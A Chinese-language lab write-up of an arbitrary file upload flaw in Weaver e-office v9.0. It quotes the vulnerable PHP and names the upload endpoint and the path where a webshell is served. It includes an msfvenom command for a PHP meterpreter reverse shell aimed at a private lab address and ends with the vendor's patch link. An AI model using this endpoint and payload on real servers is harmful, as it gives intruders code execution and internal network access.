本次測試僅供學習使用,如若非法他用,與平台和本文作者無關,需自行負責!
泛微e-office系統是標準、易用、快速部署上線的專業協同OA軟件,國內協同OA辦公領域領導品牌,致力於為企業用戶提供專業OA辦公系統、移動OA應用等協同OA整體解決方案。泛微e-office是泛微旗下的一款標準協同移動辦公平台。由於 e-office 未能正確處理上傳模塊中的用戶輸入,攻擊者可以通過該漏洞構造惡意的上傳數據包,最終實現任意代碼執行。
泛微 e-office v9.0
問題代碼在/general/index/UploadFile.php文件中,具體位置是
if ($uploadType == "eoffice_logo") { $targetPath = $_SERVER['DOCUMENT_ROOT'] . "/images/logo/"; if (!file_exists($targetPath)) { mkdir($targetPath, 511, true); } $ext = $this->getFileExtension($_FILES['Filedata']['name']); //將上傳的文件尾綴傳給變量$ext $_targetFile = "logo-eoffice" . $ext; //將上傳的文件名改為logo-eoffice.$ext $targetFile = str_replace("//", "/", $targetPath) . "/" . $_targetFile; //將['DOCUMENT_ROOT']/images/logo/logo-eoffice.$ext 中的『//』替換為'/' if (move_uploaded_file($tempFile, $targetFile)) { $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'"; $result = exequery($connection, $query); $row = mysql_fetch_array($result); $param1 = $param2 = false; if (!$row) { $query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')"; $param1 = exequery($connection, $query); } else { $query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'"; $param1 = exequery($connection, $query); } //這段代碼就是判斷文件是否上傳成功,如果成功了就更新數據庫中的內容 $query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'"; $result = exequery($connection, $query); $row = mysql_fetch_array($result); if (!$row) { $query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')"; $param2 = exequery($connection, $query); } else { $query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'"; $param2 = exequery($connection, $query); } if ($param1 && $param2) { echo $_targetFile; //上傳成功後就輸出文件名 } else { echo 0; } } else { echo 0; }}存在漏洞的源代碼位置,主要是源於 uploadType 參數設為 eoffice_logo 時,對文件沒有校驗,導致任意文件上傳。

漏洞地址
/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
漏洞解析地址
/images/logo/logo-eoffice.php
搭建漏洞環境
http://192.168.86.7:8082/login.php

默認用戶admin 密碼為空

漏洞利用msfvenom工具生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.86.2 LPORT=12399 R > yunzui.php
上傳生成的webshell到目標服務器
測試發現該環境可以解析(php、php3、php4)
測試函數:<?php phpinfo();?>

反彈shell上傳

設置監聽

解析文件獲取反向shell

內網滲透


廠商已提供漏洞修補方案,建議用戶下載使用:
http://v10.e-office.cn/eoffice9update/safepack.zip